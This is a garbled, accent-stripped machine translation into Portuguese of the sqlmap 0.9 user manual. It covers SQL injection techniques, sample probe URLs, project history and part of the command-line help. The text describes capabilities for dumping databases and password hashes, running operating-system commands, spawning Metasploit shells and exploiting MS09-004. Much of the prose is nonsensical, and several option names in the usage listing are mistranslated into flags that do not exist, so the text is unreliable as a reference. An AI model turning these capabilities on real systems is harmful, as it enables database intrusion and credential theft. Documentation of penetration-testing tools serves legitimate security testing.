Você está na página 1de 50

manual do usurio sqlmap

por Bernardo Damele AG , Miroslav Stampar


verso 0.9, 10 de abril de 2011
Este documento o manual do usurio de usar sqlmap .

1. Introduo

1,1 Requisitos
1,2 Cenrio
1,3 Tcnicas
1,4 Demonstrao

2. Caractersticas

2,1 caractersticas genricas


2,2 caractersticas da impresso digital e enumerao
2,3 caractersticas pblicas de aquisio

3. Histria

3,1 2.011
3,2 2.010
3,3 2.009
3,4 2.008
3,5 2.007
3,6 2.006

4. baixar e atualizar
5. Uso

5,1 verbosidade de sada


5,2 Alvo
5,3 Pedido
5,4 Otimizao
5,5 Injeo
5,6 Deteco
5,7 Tcnicas
5,8 Fingerprint
5,9 Enumerao
5,10 fora bruta
5,11 definido pelo usurio injeo funo
5,12 de acesso ao sistema de arquivo
5,13 aquisio do sistema operacional
5,14 acesso registro do Windows
5,15 Geral

5,16 Diversos

6. Licena e direitos autorais


7. Renncia
8. Autores
1. Introduo
sqlmap uma ferramenta open source de teste de penetrao, que automatiza
o processo de deteco e explorao de falhas de injeo SQL e assumir de
servidores de banco de dados. Ele vem com um motor de deteco de KickAss, caractersticas muitos nichos para o testador de penetrao final e uma
ampla gama de switches com durao a partir de impresses digitais do banco
de dados, mais dados Buscando do banco de dados, para acessar o sistema de
arquivos subjacente e executar comandos do sistema operacional atravs de
out-of-band conexes.

1,1 Requisitos
sqlmap desenvolvido em Python , uma dinmica orientada a objeto
linguagem de programao interpretada. Isto faz com que a ferramenta
independente do sistema operativo. preciso apenas que a verso
interpretador Python 2 igual ou superior a 2,6 . O intrprete livre para
download a partir do seu site oficial . Para tornar ainda mais fcil, muitas
distribuies GNU / Linux sair da caixa com interpretador Python instalado e
outros Unices e Mac OSX tambm fornecer embalado em seus formatos e
pronto para ser instalado. Usurios do Windows podem baixar e instalar o
instalador do Python-setup pronto para x86, AMD64 e Itanium tambm.
sqlmap conta com o Metasploit Framework para algumas de suas
caractersticas ps-explorao de aquisio. Voc precisa pegar uma cpia do
mesmo a partir da transferncia pgina - a verso necessria 3,5 ou
superior. Para a tcnica de aquisio ICMP tunneling out-of-band, sqlmap
requer Impacket biblioteca tambm.
Se voc estiver disposto a se conectar diretamente a um servidor de banco de
dados ( d- switch), sem passar atravs de uma aplicao web, voc precisa
instalar Ligaes Python para o sistema de gerenciamento de banco de dados
que voc est indo para o ataque:
Firebird: python-kinterbasdb .
Microsoft Access: python-pyodbc .
Microsoft SQL Server: python-pymssql .
MySQL: python-mysqldb .
Oracle: python cx_Oracle .
PostgreSQL: python-psycopg2 .
SQLite: python-pysqlite2 .
Sybase: python-pymssql .

Se voc pretende atacar uma aplicao web atrs de autenticao NTLM ou


usar a funcionalidade de atualizao sqlmap ( - de atualizao switch) voc
precisa instalar respectivamente python-ntlm e python-svnbibliotecas.
Opcionalmente, se voc estiver executando sqlmap no Windows, voc pode
querer instalar PyReadline biblioteca para ser capaz de tirar vantagem da
concluso TAB sqlmap e histrico de apoio no shell SQL e shell OS.Note-se
que estas funcionalidades esto disponveis nativamente pelo padro do
Python readline biblioteca em outros sistemas operacionais.
Voc tambm pode optar por instalar Psyco biblioteca para, eventualmente,
acelerar as operaes sqlmap algortmicas.

1,2 Cenrio
Detectar e explorar uma injeo de SQL
Vamos dizer que voc uma aplicao de auditoria web e encontrei uma
pgina da web que aceita dinmicas valores fornecidos pelo usurio
em GET ou POST parmetros ou HTTP Cookies valores ou HTTP UserAgent valor cabealho. Voc agora quer testar se estes so afetados por uma
vulnerabilidade de injeo SQL, e se assim for, explor-los para recuperar
informaes, tanto quanto possvel fora do sistema de aplicao web de gesto
de back-end de banco de dados ou at mesmo ser capaz de acessar o sistema
de arquivos subjacente e sistema operacional.
Em um mundo simples, considere que o URL de destino :
http://192.168.136.131/sqlmap/mysql/get_int.php?id=1

Suponha que:
http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=1

a mesma pgina que o original e:


http://192.168.136.131/sqlmap/mysql/get_int.php?id=1+AND+1=2

difere da original, isso significa que voc est na frente de uma


vulnerabilidade de injeo SQL no ID GET parmetro do index.php pgina web
aplicao, o que significa que, potencialmente, no IDS / IPS, nenhum
firewall de aplicaes web, sanitizao valor sem parmetros " executada no
lado do servidor antes de enviar a declarao SQL para o sistema de
gerenciamento de banco de dados de back-end da aplicao web depende.
Esta uma falha bastante comum em aplicaes web dinmicas de contedo e
que no dependem do sistema de gerenciamento de banco de dados de backend, nem sobre a linguagem de programao de aplicaes web: uma falha
de cdigo programador de segurana. O projeto Open Web Application
Security classificado em 2010, em sua OWASP Top Ten pesquisa esta
vulnerabilidade como o mais comum e importante vulnerabilidade de
aplicaes web, juntamente com outras falhas de injeo.
Voltar para o cenrio, provavelmente o SQL SELECIONAR declarao
em get_int.php tem uma sintaxe semelhante seguinte consulta SQL, em
cdigo PHP pseudo:

$ Query = "SELECT [coluna nome (s)] FROM [nome da tabela] WHERE id


=". $ _REQUEST ['Id'];

Como voc pode ver, anexando qualquer condio syntatically vlida outro
SQL depois de um valor para o ID de tal condio ter lugar quando o
aplicativo web passa a consulta ao sistema de gerenciamento de banco de
dados de back-end que executa, por isso que a condio id = 1 E 1 = 1
vlido ( verdadeiro ) e retorna a mesma pgina que o original, com o mesmo
contedo. Este o caso de uma vulnerabilidade de injeco booleano baseado
cego SQL. No entanto, sqlmap capaz de detectar qualquer tipo de injeo
SQL e adaptar o seu fluxo de trabalho de acordo. Leia abaixo para mais
detalhes.
Alm disso, neste cenrio simples e fcil de injetar tambm seria possvel
acrescentar, no apenas uma ou mais condio SQL vlida (s), mas tambm
empilhados consultas SQL, por exemplo, algo como [...] & id = 1; OUTRO
SQL QUERY # se a tecnologia de aplicao web suporta consultas empilhadas ,
tambm conhecido como vrias instrues .
Agora que voc encontrou este parmetro de injeo SQL vulnervel, voc
pode explor-la atravs da manipulao da ID valor do parmetro no pedido
HTTP.
Existem muitos recursos na net explicando em detalhes como para prevenir,
detectar e explorar vulnerabilidades de injeo SQL em aplicaes web e
recomenda-se a l-los se voc no est familiarizado com o assunto antes de ir
adiante com sqlmap.
Passando o endereo
original, http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 para
sqlmap, a ferramenta automaticamente:
Identificar o parmetro vulnervel (s) ( id , neste exemplo);
Identificar quais as tcnicas de injeo SQL pode ser usado para
explorar o parmetro vulnervel (s);
Impresso digital do back-end do sistema de gesto de banco de dados;
Dependendo das opes do usurio, ser amplamente impresses
digitais, dados de enumerar ou aquisio o servidor de banco de dados
como um todo.
Conexo direta com o sistema de gerenciamento de banco de dados
At sqlmap verso 0,8 , a ferramenta tem sido mais uma ferramenta de
injeo de SQL , utilizado pelos testadores de penetrao de aplicaes web /
novatos / adolescentes curiosos / computador / viciados punks e assim por
diante. As coisas mudam e como elas evoluem, ns fazemos tambm. Agora
suporta esta nova opo, -d , que permite a conexo de sua mquina para o
servidor de banco de dados da porta TCP onde o banco de dados daemon
sistema de gesto est escutando e executar qualquer operao que voc faria
ao us-lo para atacar um banco de dados atravs de um SQL vulnerabilidade
de injeo.

1,3 Tcnicas
sqlmap capaz de detectar e explorar cinco diferentes de injeo SQL tipos :
Boolean baseada injeo de SQL cego , tambm conhecido
como injeo de SQL inferencial : substitui sqlmap ou anexa ao
parmetro afetado na solicitao HTTP, uma cadeia de declarao
syntatically vlido SQL contendo um SELECIONAR instruo sub-, ou
qualquer outra instruo SQL cujo o usurio quiser recuperar a
sada. Para cada resposta HTTP, fazendo uma comparao entre os
cabealhos de resposta HTTP / corpo com o pedido original, a
inferncia ferramenta a sada do personagem declarao injetado pelo
personagem. Como alternativa, o usurio pode fornecer uma string ou
expresso regular para corresponder em pginas Verdadeiros. O
algoritmo de bisseco implementado em sqlmap para executar esta
tcnica capaz de buscar cada personagem da sada com um mximo
de sete solicitaes HTTP.Onde a sada no est dentro do charset claro
em texto simples, sqlmap ir adaptar o algoritmo com intervalos
maiores para detectar a sada.
Time-base de injeo SQL cego , tambm conhecido como injeo de
SQL cego total : substitui sqlmap ou anexa ao parmetro afetado na
solicitao HTTP, uma cadeia de declarao syntatically vlido SQL
contendo uma consulta que colocou em espera o DBMS back-end para
voltar para um certo nmero de segundos. Para cada resposta HTTP,
fazendo uma comparao entre o tempo de resposta HTTP com o
pedido original, a ferramenta de inferncia a sada do carcter
declarao injectado por caractere. Tal como para boolean baseada
tcnica, o algoritmo de bisseco aplicada.
Erro baseada em injeo de SQL : sqlmap substitui ou anexar o
parmetro afetado uma declarao de banco de dados especfico
syntatically errado e analisa os cabealhos de resposta HTTP e corpo
em busca de mensagens de erro de DBMS contendo a cadeia prdefinida injetado de caracteres ea sada declarao dentro. Esta tcnica
funciona quando o aplicativo da Web foi configurado para divulgar
back-end de banco de dados de gerenciamento de mensagens de erro do
sistema apenas.
UNIO consulta injeo de SQL , tambm conhecido como inband
injeo de SQL : sqlmap anexa ao parmetro afetado uma string
declarao syntatically vlido SQL comeando com uma unio todas
selecionar . Este techique funciona quando a pgina da web aplicao
passa a sada do SELECIONAR instruo dentro de um por ciclo, ou
similar, de modo que cada linha da sada de consulta impresso sobre o
contedo da pgina. sqlmap tambm capaz de explorar parcial
(entrada nica) UNIO consulta de injeo SQL vulnerabilidades
que ocorrem quando a sada da instruo no reciclado em

um paraconstruir passo que apenas a primeira entrada do resultado da


consulta exibido.
Stacked consultas SQL injection , tambm conhecida como injeo
de SQL mltiplas declaraes : testes sqlmap se o aplicativo web
oferece suporte a consultas empilhados em seguida, no caso, suporta,
ele anexa ao parmetro afetado na solicitao HTTP, um ponto e
vrgula ( ; ), seguido por a instruo SQL para ser executado. Esta
tcnica til para executar instrues SQL que no SELECIONE como,
por exemplo, a definio de dados ou manipulao de
dados afirmaes possivelmente levando a arquivar sistema de leitura e
escrita de acesso e execuo operacional de comando do sistema,
dependendo do sistema de gesto de base de back-end de banco de
dados e do usurio da sesso privilgios.

1,4 Demonstrao
Voc pode assistir a vrios vdeos de demonstrao, eles esto hospedados
no YouTube .

2. Caractersticas
Funcionalidades implementadas em sqlmap incluem:

2,1 caractersticas genricas

Suporte completo para MySQL , a Oracle , PostgreSQL , Microsoft


SQL Server , Microsoft Access , SQLite , Firebird , Sybase e SAP
MaxDB sistemas de gesto de banco de dados.
O suporte total para cinco tcnicas de injeo SQL: boolean baseada
cego , cegos baseado em tempo , com base em erro , consulta
UNION e consultas empilhadas .
Apoio para conectar diretamente ao banco de dados , sem passar
atravs de uma injeo SQL, fornecendo credenciais de SGBD, o
endereo IP, porta e nome do banco de dados.
possvel fornecer uma URL de destino nico, obter a lista de alvos
de Burp procurao ou WebScarab de proxy solicita arquivos de log,
obter a solicitao HTTP inteiro de um arquivo de texto ou obter a lista
de metas, fornecendo sqlmap com um idiota que consulta o
Google Google motor de busca e analisa sua pgina de
resultados. Tambm possvel definir um alcance de expresso regular
base que usada para identificar quais dos endereos analisados para
testar.
Testes desde GET parmetros, POST parmetros,
HTTP Cookies valores de cabealho, HTTP User-Agent valor do
cabealho HTTP e Referer valor de cabealho para identificar e
explorar vulnerabilidades de injeo SQL. Tambm possvel
especificar uma lista separada por vrgulas do parmetro especfico (s)
a testar.

Opo para especificar o nmero mximo de concorrentes HTTP (S)


pedidos (multi-threading) para acelerar as tcnicas de injeo SQL
cegos. Vice-versa, tambm possvel especificar o nmero de segundos
para segurar entre cada pedido HTTP (S). Outros otimizao muda para
acelerar a explorao so implementadas tambm.
HTTP Cookies cabealho apoio string, til quando o aplicativo web
requer autenticao baseada em biscoitos e voc tem esses dados ou em
caso voc s quer testar e explorar a injeo de SQL em valores de
cabealho tais. Voc tambm pode especificar a URL sempre-codificar
o Cookie.
Trata automaticamente HTTP Set-Cookie cabealho da aplicao, reestabelecimento da sesso, se ele expira. Testar e explorar esses valores
suportado tambm. Vice-versa, voc tambm pode forar a ignorar
qualquer Set-Cookie cabealho.
Protocolo HTTP Basic, Digest, NTLM e Certificado
autenticaes apoio.
Proxy HTTP (S) suporte de passar pelas solicitaes para o aplicativo
de destino que trabalha tambm com pedidos HTTPS e com servidores
proxy autenticado.
Opes para falsificar o HTTP Referer cabealho valor
eo HTTP User-Agent do cabealho valor especificado pelo usurio ou
selecionados aleatoriamente a partir de um arquivo de texto.
Apoio para aumentar o nvel de detalhamento das mensagens de
sada : existem sete nveis de detalhamento.
Apoio para analisar formulrios HTML do URL de destino e forjar
HTTP (S) pedidos contra essas pginas para testar os parmetros de
forma contra vulnerabilidades.
Granularidade e flexibilidade em termos de chaves tanto do usurio e
as caractersticas.
Tempo estimado de chegada de apoio para cada consulta, atualizado
em tempo real, para fornecer ao usurio uma viso geral de quanto
tempo vai demorar para recuperar a sada das consultas.
Salva automaticamente a sesso (consultas e sua sada, ainda que
parcialmente recuperada) em um arquivo de texto em tempo real
enquanto a busca dos dados e retoma a injeo por analisar o arquivo
de sesso.
Suporte para ler as opes de um arquivo INI de configurao, em vez
de especificar cada vez todas as opes na linha de comando. Apoio
tambm para gerar um arquivo de configurao com base na linha de
comando interruptores fornecidos.
Apoio para replicar o banco de dados de back-end estrutura de
tabelas e as entradas em um local SQLite 3 banco de dados.

Opo para atualizar sqlmap a ltima verso de desenvolvimento do


repositrio de subverso.
Suporte para analisar HTTP (S) respostas e exibir qualquer mensagem
de erro DBMS para o usurio.
Integrao com outros projetos de segurana de TI de cdigo
aberto, Metasploit e w3af .

2,2 caractersticas da impresso digital e enumerao

Extenso back-end verso do software de banco de dados e


impresso digital do sistema operacional subjacente baseada
em mensagens de erro , de anlise bandeira , comparao de funes de
sada ecaractersticas especficas , tais como MySQL injeo
comentrio. Tambm possvel forar o back-end de banco de dados o
nome do sistema de gesto, se voc j sabe disso.
Software bsico do servidor web e web impresso digital tecnologia de
aplicao.
Apoio para recuperar o DBMS bandeira , usurio da sesso e banco
de dados atual informaes. A ferramenta tambm pode verificar se o
usurio da sesso um administrador de banco de dados (DBA).
Suporte para enumerar usurios de banco de dados , "hashes de
senha de usurios , usurios privilgios , os papis dos
usurios , bases de dados , tabelas e colunas .
O reconhecimento automtico de senha no formato hashes e apoio
para quebr-las com um ataque baseado em dicionrio .
Apoio fora bruta tabelas e colunas nome . Isto til quando o
usurio da sesso no tem acesso leia a tabela de sistema que contm
informaes de esquema ou quando o sistema de gerenciamento de
banco de dados no armazena essas informaes em qualquer lugar
(por exemplo, MySQL <5,0).
Apoio para despejar as tabelas de banco de dados completo, um
intervalo de entradas ou colunas especficas como a escolha do usurio
por. O usurio tambm pode escolher para despejar apenas uma gama
de personagens de entrada de cada coluna.
Suporte para automaticamente despejar todos os bancos de dados
de esquemas 'e entradas. possivelmente a excluir o despejo dos
bancos de dados do sistema.
Apoio a procurar nomes de banco de dados especficos, tabelas
especficas em todas as bases de dados ou colunas especficas em
tabelas todos os bancos de dados " . Isso til, por exemplo, para
identificar as tabelas que contm as credenciais de aplicativos
personalizados onde os nomes de colunas relevantes "contm string
como nome e passe .
Apoio para executar a instruo SQL personalizada (s) como em um
cliente SQL interativo conectar ao banco de dados back-end. sqlmap

automaticamente disseca a declarao fornecida, determina qual a


tcnica mais adequada para injet-lo e como embalar a carga SQL
conformidade.

2,3 caractersticas pblicas de aquisio


Algumas dessas tcnicas so detalhadas no papel branco avanada de injeo
SQL para controle de sistema operacional completo e no conjunto de
slides Expandindo o controle sobre o sistema operacional a partir do banco de
dados .
Apoio para injetar personalizados funes definidas pelo usurio : o
usurio pode compilar uma biblioteca compartilhada ento usar sqlmap
para criar no mbito das funes de back-end DBMS definidos pelo
usurio para fora do arquivo de biblioteca compartilhada
compilado. Essas UDFs pode ento ser executado e, opcionalmente,
removido, atravs de sqlmap. Isto suportado quando o software de
banco de dados o MySQL ou PostgreSQL.
Suporte para download e upload de qualquer arquivo do banco de
dados do sistema de arquivos do servidor subjacente quando o software
de banco de dados MySQL, PostgreSQL ou Microsoft SQL Server.
Apoio para executar comandos arbitrrios e recuperar a sua sada
padro no banco de dados do sistema operacional de servidor
subjacente quando o software de banco de dados MySQL,
PostgreSQL ou Microsoft SQL Server.
o Em MySQL e PostgreSQL via definida pelo usurio injeo
funo e execuo.
o No Microsoft SQL Server via xp_cmdshell () procedimento
armazenado. Alm disso, o procedimento armazenado
reativado se desativado ou criado a partir do zero se for
removido pelo DBA.
Apoio criao de um fora-de-banda stateful conexo TCP entre a
mquina atacante e banco de dados servidor sistema operacional
subjacente. Esse canal pode ser um prompt de comando interativo, uma
sesso Meterpreter ou uma interface grfica de usurio da sesso
(VNC), como a escolha do usurio acutes. sqlmap depende Metasploit
para criar o shellcode e implementa quatro diferentes tcnicas para
execut-lo no servidor de banco de dados. Estas tcnicas so:
o Banco de dados de execuo na memria de shellcode o
Metasploit via sqlmap prpria funo definida pelo
usurio sys_bineval () . Suportado em MySQL e PostgreSQL.
o Upload e execuo de um Metasploit stager carga
autnomo via sqlmap prpria funo definida pelo
usurio sys_exec () em MySQL e PostgreSQL ou
via xp_cmdshell () no Microsoft SQL Server.

Execuo de shellcode Metasploit realizando um ataque


reflexo SMB ( MS08-068 ) com um pedido de caminho UNC
do servidor de banco de dados para a mquina do atacante, onde
o Metasploitsmb_relay exploit servidor escuta. Apoiado ao
executar sqlmap com privilgios elevados ( uid = 0 ) no Linux /
Unix e os DBMS destino executado como administrador no
Windows.
o Execuo de banco de dados em memria de shellcode o
Metasploit, explorando o Microsoft SQL Server 2000 e
2005 sp_replwritetovarbin procedimento armazenado buffer
overflow baseado em pilha ( MS09-004 ). sqlmap tem seu
prprio exploit para acionar a vulnerabilidade com desvio
automtico proteo DEP memria, mas depende de Metasploit
para gerar o shellcode comear executado sobre a explorao
bem sucedida.
Suporte para processo de banco de dados 'escalada de privilgios de
usurio via Metasploit getsystem comando que incluem, entre outros,
o kitrap0d tcnica ( MS10-015 ).
O apoio ao acesso (leitura / adicionar / excluir) sees do Registro do
Windows.
o

3. Histria
3,1 2.011

10 de abril , Bernardo e Miroslav liberao sqlmap 0,9 apresentando


um totalmente reescrito e poderoso mecanismo de deteco de injeo
de SQL, a possibilidade de se conectar diretamente a um servidor de
banco de dados, suporte para com base no tempo de injeo SQL cego
e erro baseado em injeo de SQL, suporte para quatro novo banco de
dados sistemas de gesto e muito mais.

3,2 2.010

Dezembro , Bernardo e Miroslav tm reforado sqlmap muito durante


todo o ano e se preparar para liberar sqlmap 0,9 no primeiro trimestre
de 2011.
03 de junho , Bernardo apresenta uma palestra intitulada Got acesso ao
banco? Proprietrio da rede! em AthCon de 2010, em Atenas (Grcia).
14 de maro , Bernardo e Miroslav lanar a verso estvel do
sqlmap 0,8 com muitos recursos. Entre elas, o apoio para enumerar e
despejar as tabelas todos os bancos de dados "contendo usurio
fornecida coluna (s), estabilizao e melhorias para as funcionalidades
de aquisio, integrao atualizado com Metasploit 3.3.3 e um monte
de pequenas funcionalidades e correes de bugs.
Maro , vdeos de demonstrao sqlmap foram publicados .

Janeiro , Bernardo convidado para apresentar na AthCon conferncia


na Grcia, em Junho de 2010.

3,3 2.009

18 de dezembro , Miroslav Stampar responde chamada para os


desenvolvedores. Junto com Bernardo, ele desenvolve ativamente
sqlmap da verso release candidate 0,8 2 .
12 de dezembro , Bernardo escreve para a lista de discusso um post
intitulado sqlmap estado da arte - 3 anos depois destacando os objetivos
alcanados durante esses trs primeiros anos do projeto e lana um
apelo para os desenvolvedores.
04 de dezembro , sqlmap-devel lista de discusso foi incorporada
sqlmap usurios lista de discusso .
20 de novembro , Bernardo e Guido apresentar novamente a sua
investigao em stealth aquisio de servidor de banco de dados de
confiana de 2009, em Varsvia, na Polnia.
26 de setembro , a verso sqlmap 0,8 Release Candidate 1 vem a
pblico no repositrio de subverso , com todos os vetores de ataque
revelados no Barcelona 2009 FONTE Conferncia. Estes incluem uma
verso melhorada do buffer overflow Microsoft SQL Server explorar
automaticamente para ignorar a proteo de memria DEP, o apoio para
estabelecer a conexo fora de banda com o servidor de banco de dados,
executando na memria do shellcode Metasploit via UDF sys_bineval
() (anti- forense tcnica), suporte para acessar as sees do Registro do
Windows e apoiar a injetar personalizados funes definidas pelo
usurio.
Setembro 21 , Bernardo e Guido Landi apresentar sua pesquisa
( lminas ) em conferncia de origem de 2009, em Barcelona, Espanha.
Agosto , Bernardo aceito como palestrante em outras duas
conferncias de segurana de TI, FONTE Barcelona 2009 e 2009
confiana Varsvia . Esta nova pesquisa intitulada Expandindo o
controle sobre o sistema operacional a partir do banco de dados .
25 de julho , a verso estvel do sqlmap 0,7 est fora!
27 de junho , Bernardo apresenta uma verso atualizada de sua injeo
de SQL: no s e 1 = 1 slides em Frum de Segurana Digital 2 em
Lisboa, Portugal.
02 de junho , sqlmap verso 0.6.4 fez o seu caminho para o repositrio
oficial do Ubuntu tambm.
Maio , Bernardo apresenta novamente sua pesquisa sobre aquisio do
sistema operacional atravs de injeo de SQL no OWASP AppSec
Europa 2009 em Varsvia, na Polnia e na EUSecWest 2009 em
Londres, Reino Unido.
08 de maio , sqlmap verso 0.6.4 foi oficialmente aceite no repositrio
Debian. Detalhes sobre este blog .

22 de abril , a verso sqlmap 0,7 Release Candidate 1 vem a pblico,


com todos os vetores de ataque revelados no Black Hat Conference
Europe 2009. Estes incluem a execuo de comandos arbitrrios no
sistema operacional, integrao total com o Metasploit para estabelecer
um out-of-band conexo TCP, primeiro exploit disponvel publicamente
para Microsoft Security Bulletin MS09-004 contra a Microsoft SQL
Server 2000 e 2005 e outros ataques a aquisio o servidor de base de
dados como um todo, e no apenas os dados a partir da base de dados.
16 de abril , Bernardo apresenta sua pesquisa ( lminas , whitepaper )
na Black Hat Europe 2009, em Amesterdo, Holanda. O feedback do
pblico bom e tem havido alguma cobertura da mdia tambm.
05 de maro , Bernardo apresenta pela primeira vez algumas das
caractersticas sqlmap recentes e melhorias futuras em um evento
internacional, Frente Conferncia OWASP Faixa de 2009 , em Denver,
EUA. A apresentao intitulada injeo de SQL: no s e 1 = 1 .
24 de fevereiro , Bernardo aceito como um alto-falante na Black Hat
Europe 2009 com uma apresentao intitulada avanada explorao de
injeo SQL para controle de sistema operacional completo .
03 de fevereiro , sqlmap 0.6.4 o ltimo lanamento para 0.6:
aproveitando o teste consultas empilhadas implementado em 0.6.3,
sqlmap agora pode ser usado para executar qualquer instruo SQL
arbitrrio, no s SELECIONE mais. Alm disso, muitas caractersticas
foram estabilizados, ajustado e melhorado em termos de velocidade
nesta verso.
09 de janeiro , Bernardo apresenta internos de explorao de injeo
SQL em um evento privado em Londres, Reino Unido.

3,4 2.008

18 de dezembro , sqlmap 0.6.3 liberada com suporte para recuperar


alvos de Burp e arquivos de log WebScarab proxies, suporte para testar
empilhados consultas formiga injeo de SQL com base no tempo cego,
impresso digital aproximada do servidor web e tecnologias de
aplicao web em uso e mais opes para personalizar os pedidos
HTTP e enumerar mais informaes a partir do banco de dados.
02 de novembro , sqlmap verso 0.6.2 um "correes de bugs" liberar
apenas.
20 de outubro , sqlmap liberao primeiro ponto, 0.6.1 , vem a
pblico. Isso inclui correes de bugs e o primeiro contato entre a
ferramenta e Metasploit : um mdulo auxiliar para lanar sqlmap de
dentro Metasploit Framework. O repositrio de desenvolvimento
subverso vem a pblico novamente.
01 de setembro , quase um ano aps o lanamento anterior,
sqlmap 0,6 ganha vida com uma refatorao de cdigo completo,
suporte para executar arbitrrias SQL de SELECT declaraes, mais

opes para enumerar e despejar informaes especficas so


adicionados, novos pacotes de instalao para o Debian, Red Hat ,
Windows e muito mais.
Agosto , duas pblicas as listas de discusso so criados no
SourceForge.
Janeiro , sqlmap subverso repositrio de desenvolvimento afastado
do SourceForge e vai privado por um tempo.

3,5 2.007

04 de novembro , a liberao de 0,5 marca o fim da Primavera OWASP


do Cdigo participao concurso de 2007. Bernardo
tem realizado todos os objetos propsed que incluem tambm o apoio
inicial para Oracle, suporte melhorado para UNIO injeo de SQL de
consulta e apoio para testar e explorar as injees SQL em HTTP
Cookie e User-Agent cabealhos.
15 de junho , Bernardo verso verses 0,4 , como resultado da primeira
mola OWASP Cdigo marco de 2007. Esta verso traz, entre outros,
melhorias no motor de impresso digital DBMS, suporte para calcular o
tempo estimado de chegada, as opes para enumerar dados especficos
do servidor de banco de dados e sistema de registro de marca nova.
Abril , embora sqlmap foi no e no um projeto OWASP, ele
aceito , entre muitos outros projetos de cdigo aberto para OWASP
Primavera do Cdigo de 2007.
30 de maro , Bernardo se aplica a OWASP Primavera do Cdigo
2007 .
20 de janeiro , sqlmap verso 0,3 lanado, com o apoio inicial para o
Microsoft SQL Server, suporte para testar e explorar as injees
UNIO consulta SQL e pontos de injeo em parmetros POST.

3,6 2.006

13 de dezembro , Bernardo lanamentos verso 0,2 com grandes


melhorias para as funcionalidades de impresso digital de DBMS e
substituio do algoritmo de inferncia de idade com o algoritmo de
bisseco.
Setembro , Daniele deixa o projeto, Bernardo Damele AG leva-lo mais.
Agosto , Daniele adiciona suporte inicial para PostgreSQL e
lanamentos verso 0,1 .
25 de julho , Daniele Bellucci registra o projeto sqlmap no
SourceForge e desenvolve-lo no repositrio de subverso
SourceForge . O esqueleto implementada e suporte limitado para o
MySQL acrescentou.

4. baixar e atualizar
sqlmap pode ser baixado a partir de sua pgina de lista de arquivos
SourceForge . Est disponvel em dois formatos:

Fonte gzip .
Zip fonte comprimido .
Voc tambm pode verificar a verso mais recente desenvolvimento
da subverso repositrio:

$ Svn checkout https://svn.sqlmap.org/sqlmap/trunk/sqlmap sqlmap-dev

Voc pode atualiz-lo a qualquer momento para a ltima verso de


desenvolvimento, executando:
$ Python sqlmap.py - atualizao

Ou:
$ Svn update

Isso altamente recomendvel antes de relatar qualquer bug para a lista de


discusso .

5. Uso
$ Python sqlmap.py-h
sqlmap/0.9 - injeo de SQL e ferramenta de aquisio automtica
de dados
http://sqlmap.sourceforge.net
Uso: python sqlmap.py [options]
Opes:
Nmero de programa mostra a verso da verso e sai -H, - help mostrar esta mensagem de ajuda e sai
-V nvel de detalhamento VERBOSE: 0-6 (default 1)
Alvo:
Pelo menos uma destas opes tem que ser especificado para definir
a fonte de
obter urls de destino.

INI

-D
-U
-L
-R
-G
-C

conexo direta direto ao banco de dados


URL, - url = URL de destino URL
Lista alvos Parse de Burp ou logs de proxy WebScarab
Carga REQUESTFILE solicitao HTTP de um arquivo
Processo GOOGLEDORK resultados do Google dork como alvo urls
configfile opes de carregamento de um arquivo de configurao

Pedido:
Essas opes podem ser usadas para especificar como se conectar
URL de destino.
- Dados = dados de cadeia de dados para ser enviado atravs de
POST

- Cookie = COOKIE cabealho HTTP Cookie


- URL do bolinho urlencode-Encode injees de cookies gerados
- Drop-set-cookie Ignorar Set-Cookie cabealho de resposta
- User-agent = AGENT cabealho HTTP User-Agent
- Agente aleatrio Use selecionados aleatoriamente cabealho HTTP
User-Agent
- Referer = REFERER HTTP Referer cabealho
- Headers = HEADERS cabealhos extra HTTP nova linha separada
- Auth-type = ATYPE tipo de autenticao HTTP (Basic, Digest ou
NTLM)

- Auth-cred = ACRED HTTP credenciais de autenticao (nome: senha)


- Auth-cert = ACERT HTTP autenticao de certificado (key_file,
cert_file)
- Proxy = Use um proxy HTTP para conectar-se a URL de destino
- Proxy-cred = PCRED proxy HTTP credenciais de autenticao (nome:
senha)
- Ignore-proxy Ignorar sistema padro proxy HTTP
- Delay = Atraso atraso em segundos entre cada solicitao HTTP
- Timeout = Segundos de tempo limite para esperar antes de tempo
limite de conexo (padro 30)
- Tentativas = tentativas tentativas quando o tempo limite de
conexo (padro 3)
- Scope = MBITO Regexp para filtrar alvos de log proxy fornecido
- Url = seguro-SAFURL endereo URL para visitar com freqncia
durante os testes
- Seguro-freq = SAFREQ pedidos de teste entre duas visitas a um
determinado URL segura
Otimizao:
Essas opes podem ser usadas para otimizar o desempenho de
sqlmap.
Transforme-o em todos os switches de otimizao
- Prever a sada de prever consultas sada comum
- Keep-alive uso persistente HTTP (S) conexes
- Null conexo Recuperar comprimento de pgina sem corpo real de
resposta HTTP
- Tpicos = THREADS nmero mximo de concorrentes HTTP (s) pedidos
(default 1)
Injeo:
Estas opes podem ser utilizados para especificar quais os
parmetros para testar,
fornecer cargas de injeo personalizados e roteiros opcionais
adulterao.
-P parmetro Testvel TESTPARAMETER (s)
- SGBD SGBD = Fora de back-end DBMS para este valor
- Os = OS Fora back-end do sistema operacional DBMS para este
valor
- Prefix = PREFIX Injeo cadeia de prefixo carga
- Suffix = SUFIXO Injeo corda sufixo carga
- Adulterar = Usar TAMPER dado script (s) para adulterao de
dados de injeo
Deteco:
Essas opes podem ser usadas para especificar a forma de analisar
e comparar pgina
contedo de respostas HTTP quando utilizando a tcnica de injeo
SQL cego.
- Nvel Nvel = nvel de testes para executar (1-5, padro 1)
- O risco de Risco = risco de testes a executar (0-3, padro 1)
- String = String para corresponder na pgina quando a consulta
vlida
- Regexp = REGEXP Regexp para corresponder na pgina quando a
consulta vlida
- Somente texto Comparar pginas com base apenas no contedo
textual
Tcnicas:

Essas opes podem ser usados para ajustar o teste de injeo de


SQL especfico
tcnicas.
- Tcnicas de tcnica = TECH injeo SQL para testar (Beust
padro)
- Tempo-sec segundos = TIMESEC para atrasar a resposta DBMS
(padro 5)
- Unio cols = Faixa UCOLS de colunas para testar UNIO injeo de
SQL consulta
- Unio-char = Character UCHAR usar para bruteforcing nmero de
colunas
Impresso digital:
-F, - impresso digital Executar uma impresso verso extensa DBMS
Enumerao:
Essas opes podem ser usadas para enumerar o banco de dados de
back-end
gesto do sistema de informao sobre a estrutura e os dados
contidos na
tabelas. Alm disso, voc pode executar suas prprias instrues
SQL.
-B, - Recuperar bandeira bandeira DBMS
- Usurio atual Recuperar DBMS usurio atual
- Atual-db Recuperar DBMS banco de dados atual
- dba-detectar se o usurio atual DBA SGBD
- Usurios Enumerar os usurios DBMS
- Enumerar senhas usurios DBMS senha hashes
